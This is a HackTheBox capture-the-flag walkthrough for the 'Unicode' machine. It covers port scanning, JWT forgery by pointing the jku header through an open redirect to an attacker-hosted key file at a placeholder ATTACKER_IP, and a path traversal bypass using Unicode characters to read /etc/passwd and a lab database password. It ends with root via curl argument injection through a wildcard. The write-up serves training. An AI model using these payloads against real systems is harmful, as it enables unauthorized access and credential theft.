Unicode - [HTB]

Cover Image for Unicode - [HTB]
Marmeus
Marmeus

Introduction

Unicode is a medium Linux machine from HackTheBox where the attacker will have to find a way to use a redirect web page in order to modify a JWT gaining access to a dashboard as admin. Later, it will have to exploit an LFI vulnerability using Unicode characters to bypass the filter obtaining some credentials. Finally, it will have to exploit a wildcard vulnerability on a custom script that can be executed as root.

Enumeration

As always, let's start finding all opened ports in the machine with Nmap.

kali@kali:~/Documents/HTB/Unicode$ sudo nmap -v -sS -p- -n -T5 -oN AllPorts.txt 10.10.11.126
Warning: 10.10.11.126 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.11.126
Host is up (0.18s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Read data files from: /usr/bin/../share/nmap

Then, we continue with a deeper scan of every opened port, getting more information about each service.

kali@kali:~/Documents/HTB/Unicode$ sudo nmap -sC -sV -n -T5 -oN PortsDepth.txt -p 22,80 10.10.11.126
Nmap scan report for 10.10.11.126
Host is up (0.17s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 fd:a0:f7:93:9e:d3:cc:bd:c2:3c:7f:92:35:70:d7:77 (RSA)
|   256 8b:b6:98:2d:fa:00:e5:e2:9c:8f:af:0f:44:99:03:b1 (ECDSA)
|_  256 c9:89:27:3e:91:cb:51:27:6f:39:89:36:10:41:df:7c (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-generator: Hugo 0.83.1
|_http-title: Hackmedia
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Dec  4 16:50:16 2021 -- 1 IP address (1 host up) scanned in 14.00 seconds

Looking at port 80 there is a web page where we can register an account.

Hackmedia

We can see clicking a "Google about us" button that redirects us to google.com through an internal redirect page that requires the url parameter.

  <main class="px-3">
    <h1>Welcome to Hackmedia</h1>
    <p class="lead">we are world's largest company in Threat analisys..<br>You can </p>
    <p class="lead">
      <a href="/redirect/?url=google.com" class="btn btn-lg btn-secondary fw-bold border-white bg-white">Google about us</a>
    </p>
  </main>

Furthermore, once registered we can access the hackmedia dashboard.

Hackmedia dashboard

Analyzing the cookies we can verify that the platform uses JWT that can decode using jwt.io.

Hackmedia JWT decoded

As we can see it uses RSA256 and jku in order to verify the signature of the token. Plus, inside the jku link we can find the public key for the signature verification.

kali@kali:~/Documents/HTB/Unicode$ curl http://hackmedia.htb/static/jwks.json
{
    "keys": [
        {
            "kty": "RSA",
            "use": "sig",
            "kid": "hackthebox",
            "alg": "RS256",
            "n": "AMVcGPF62MA_lnClN4Z6WNCXZHbPYr-dhkiuE2kBaEPYYclRFDa24a-AqVY5RR2NisEP25wdHqHmGhm3Tde2xFKFzizVTxxTOy0OtoH09SGuyl_uFZI0vQMLXJtHZuy_YRWhxTSzp3bTeFZBHC3bju-UxiJZNPQq3PMMC8oTKQs5o-bjnYGi3tmTgzJrTbFkQJKltWC8XIhc5MAWUGcoI4q9DUnPj_qzsDjMBGoW1N5QtnU91jurva9SJcN0jb7aYo2vlP1JTurNBtwBMBU99CyXZ5iRJLExxgUNsDBF_DswJoOxs7CAVC5FjIqhb1tRTy3afMWsmGqw8HiUA2WFYcs",
            "e": "AQAB"
        }
    ]
}

Exploitation 1

Looking for ways to exploit the jku there is a post about how to hack JWT Tokens with jku. What we are going to do is to create our own jwt token changing the user as "admin". For doing so, we need to create a pair of public and private keys for jku with mjwk.

jku generator

However, the jku link has some kind of filtering so we need to keep the base URL http://hackmedia.htb/static/. Hence, we need to use the redirect function pointing to our web server.

http://hackmedia.htb/static/../redirect/?url=<ATTACKER_IP>/jwks.json

Finally, the jwt token and the jwks.json should look like this.

JWT Modified
kali@kali:/tmp$ cat jwks.json
{
    "keys": [
        {
            "kty": "RSA",
            "use": "sig",
            "kid": "hackthebox",
            "alg": "RS256",
            "n": "8uEq2E6CNIBDVS9yayXUhrcGOzuUSlDVvYY3_M2ChjxmBkyCXf7dd6iP3C-ADmZYVpkHSkMTGptfcS5NKmk0uaMs0OsyKozS5Ks002cTvPbGBnho3LkhiyKU6Ifkh653f-IfCofeqeilrAZ5CaOBXxdCHOjz-01wrEH84fzHeZOjTbOfSim-6sjiPI9S23EGVbBsZQjR6ay94wLMeA7IR4kVrzQDTtEt1CTbwTwOwAvagCuOFtYx4Co1PJlQEeKAKbCEBodhsVkTqta6ar4C-le6vzWN5u5xRNcubwToL1Uik9SLCfWrnhoPnhvYPoxVKRttlzwRzoP7MAXTEPEHCw",
            "e": "AQAB"
        }
    ]
}
kali@kali:/tmp$ python -m SimpleHTTPServer 80

Exploitation 2

Once modified our token we should have access to the admin dashboard where we can access the "Saved reports" section.

Admin dashboard

Inspecting the URL we can see that maybe is vulnerable to LFI.

http://10.10.11.126/display/?page=monthly.pdf

Nonetheless, if we try the following path traversal bypass technique we obtain the following output.

# Path traversal
http://10.10.11.126/display/?page=../../../etc/passwd%00
#Output
we do a lot input filtering you can never bypass our filters. Have a good day

Because the machine is named "Unicode" maybe we can pass this filter using Unicode characters. In this post, we can learn how to do it.

http://10.10.11.126/display/?page=︰/︰/︰/︰/︰/etc/passwd

The url encoded version looks like this.

http://10.10.11.126/display/?page=%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/etc/passwd

Now, looking for the nginx default configuration there is a hint for a file with some stored credentials.

server{
#Change the Webroot from /home/code/coder/ to /var/www/html/
#change the user password from db.yaml
	listen 80;
	location / {
		proxy_pass http://localhost:8000;
		include /etc/nginx/proxy_params;
		proxy_redirect off;
	}
	location /static/{
		alias /home/code/coder/static/styles/;
	}

}

These credentials can be obtained through this link.

# Link
http://10.10.11.126/display/?page=%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/home/code/coder/db.yaml

# Output
[...]
mysql_host: "localhost"
mysql_user: "code"
mysql_password: "B3stC0d3r2021@@!"
mysql_db: "user"

Finally, we can gain access to the machine as code with the database creds.

Privilege Escalation

The user code can execute the file /usr/bin/treport as root.

code@code:~$ sudo -l
Matching Defaults entries for code on code:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User code may run the following commands on code:
    (root) NOPASSWD: /usr/bin/treport

This binary uses the curl command to retrieve online reports using a URL as a parameter. This means that we can pass the wildcard ("*") so every file in the current directory can be interpreted as a parameter on the curl command. Furthermore, there is some kind of filtering because we can not use file:///root/root.txt.

code@code:~$ sudo -l                                                           
Matching Defaults entries for code on code:                                                                                                                   
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
                                                                                                                                                              
User code may run the following commands on code:         
    (root) NOPASSWD: /usr/bin/treport  
code@code:~$ sudo /usr/bin/treport                                             
1.Create Threat Report.                                                        
2.Read Threat Report.                                                    
3.Download A Threat Report.
4.Quit.                                                            
Enter your choice:3                                                       
Enter the IP/file_name:*                                                                   
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current 
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0curl: (6) Could not resolve host: coder
curl: (6) Could not resolve host: treport
curl: (6) Could not resolve host: user.txt          
Enter your choice:3
Enter the IP/file_name:127.0.0.1 file:///root/root.txt            
INVALID IP
Enter the IP/file_name:file:///root/root.txt
INVALID URL

In order to bypass the filter, we can use File:///root/root.txt, obtaining a new error where some directories must exist in order to store the report. So, here is where the wildcard takes part.

code@code:~$ sudo /usr/bin/treport
1.Create Threat Report.
2.Read Threat Report.
3.Download A Threat Report.
4.Quit.
Enter your choice:3
Enter the IP/file_name:File:///root/root.txt
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0Warning: Failed to create the file /root/reports/threat_report_02_04_08: No 
Warning: such file or directory
  0    33    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
curl: (23) Failed writing body (0 != 33)

The curl command has the --create-dirs parameter which creates all directories needed in order to store a file. Hence, if we create the files"--create-dirs" and "127.0.0.1" the command will be executed correctly allowing us to retrieve the root flag.

These are the steps you should follow.

mkdir /tmp/Marmeus; cd /tmp/Marmeus
touch -- 127.0.0.1 --create-dirs
sudo /usr/bin/treport

Enter your choice:3
Enter the IP/file_name:*

Enter your choice:3
Enter the IP/file_name:File:///root/root.txt

Enter your choice:2             
ALL THE THREAT REPORTS:                                                        
threat_report_02_07_15 threat_report_02_07_32

Enter the filename:threat_report_02_07_32
[CENSORED]

Note: This is the unintended way to solve the machine, so maybe this vulnerability is fixed once the machine is retired. The intended way is passing a python dictionary with the parameters {-K,/root/root.txt} for the URL command so it loads the flag as a configuration file for the curl command.